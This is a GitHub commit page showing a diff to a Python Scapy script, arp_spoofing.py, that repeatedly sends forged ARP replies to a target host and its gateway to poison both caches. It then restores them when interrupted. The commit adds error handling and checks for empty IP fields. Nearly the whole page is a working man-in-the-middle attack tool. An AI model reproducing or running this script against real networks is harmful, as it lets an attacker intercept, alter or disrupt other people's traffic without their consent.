Skip to content

Commit 76fc061

Browse files
authored
Update arp_spoofing.py
Now is more robust to errors and unexpected situations.
1 parent eae36bc commit 76fc061

File tree

1 file changed

+37
-27
lines changed

1 file changed

+37
-27
lines changed

arp_spoofing.py

+37-27
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
# Javi Ferrándiz | github - https://github.com/javisys
1+
# Javi Ferrándiz | github - https://github.com/javisys | Updated on 12/08/2024
22
import scapy.all as scapy
33
import time
44

@@ -8,40 +8,50 @@ def get_mac(ip):
88
arp_req_broadcast = broadcast / arp_req
99
answered_list = scapy.srp(arp_req_broadcast, timeout = 5, verbose = False)[0]
1010

11-
return answered_list[0][1].hwsrc
12-
13-
#print(scapy.ls(scapy.ARP))
11+
if answered_list:
12+
return answered_list[0][1].hwsrc
13+
else:
14+
print(f"Could not obtain the MAC for the IP {ip}")
15+
return None
1416

1517
def spoofing(target_ip, spoof_ip):
16-
paquete = scapy.ARP(op = 2, pdst = target_ip, hwdst = get_mac(target_ip), psrc = spoof_ip)
18+
target_mac = get_mac(target_ip)
19+
if target_mac is None:
20+
print(f"Spoofing could not be performed for {target_ip}.")
21+
return
1722

23+
paquete = scapy.ARP(op = 2, pdst = target_ip, hwdst = target_mac, psrc = spoof_ip)
1824
scapy.send(paquete, verbose = False)
1925

2026
def restart(destination_ip, src_ip):
2127
destination_mac = get_mac(destination_ip)
2228
src_mac = get_mac(src_ip)
29+
30+
if destination_mac is None or src_mac is None:
31+
print(f"Failed to restore the ARP table for {destination_ip} o {src_ip}.")
32+
return
33+
2334
paquete = scapy.ARP(op = 2, pdst = destination_ip, hwdst = destination_mac, psrc = src_ip, hwsrc = src_mac)
2435
scapy.send(paquete, verbose = False)
2536

26-
27-
28-
target_ip = "" # Enter the target IP
29-
gateway_ip = "" # Enter the gateway's IP
30-
31-
32-
try:
33-
sent_packets_count = 0
34-
while True:
35-
spoofing(target_ip, gateway_ip)
36-
spoofing(gateway_ip, target_ip)
37-
sent_packets_count = sent_packets_count + 2
38-
print("\r[*] Packets Sent "+str(sent_packets_count), end ="")
39-
time.sleep(2) # Waits for two seconds
40-
41-
except KeyboardInterrupt:
42-
print("\nCtrl + C pressed.............Exiting")
43-
restart(target_ip, gateway_ip)
44-
restart(gateway_ip, target_ip)
45-
print("[*] ARP Spoof Stopped")
46-
47-
37+
# Ingresar la IP del objetivo y la IP del gateway
38+
target_ip = "" # Target IP
39+
gateway_ip = "" # Gateway
40+
41+
if not target_ip or not gateway_ip:
42+
print("[!!!] The IPs of the target and gateway must be defined.")
43+
else:
44+
try:
45+
sent_packets_count = 0
46+
while True:
47+
spoofing(target_ip, gateway_ip)
48+
spoofing(gateway_ip, target_ip)
49+
sent_packets_count += 2
50+
print("\r[*] Packets Sent " + str(sent_packets_count), end ="")
51+
time.sleep(2) # Wait two seconds
52+
53+
except KeyboardInterrupt:
54+
print("\nCtrl + C presionado.............Saliendo")
55+
restart(target_ip, gateway_ip)
56+
restart(gateway_ip, target_ip)
57+
print("[*] ARP Spoof stopped")

0 commit comments

Comments
 (0)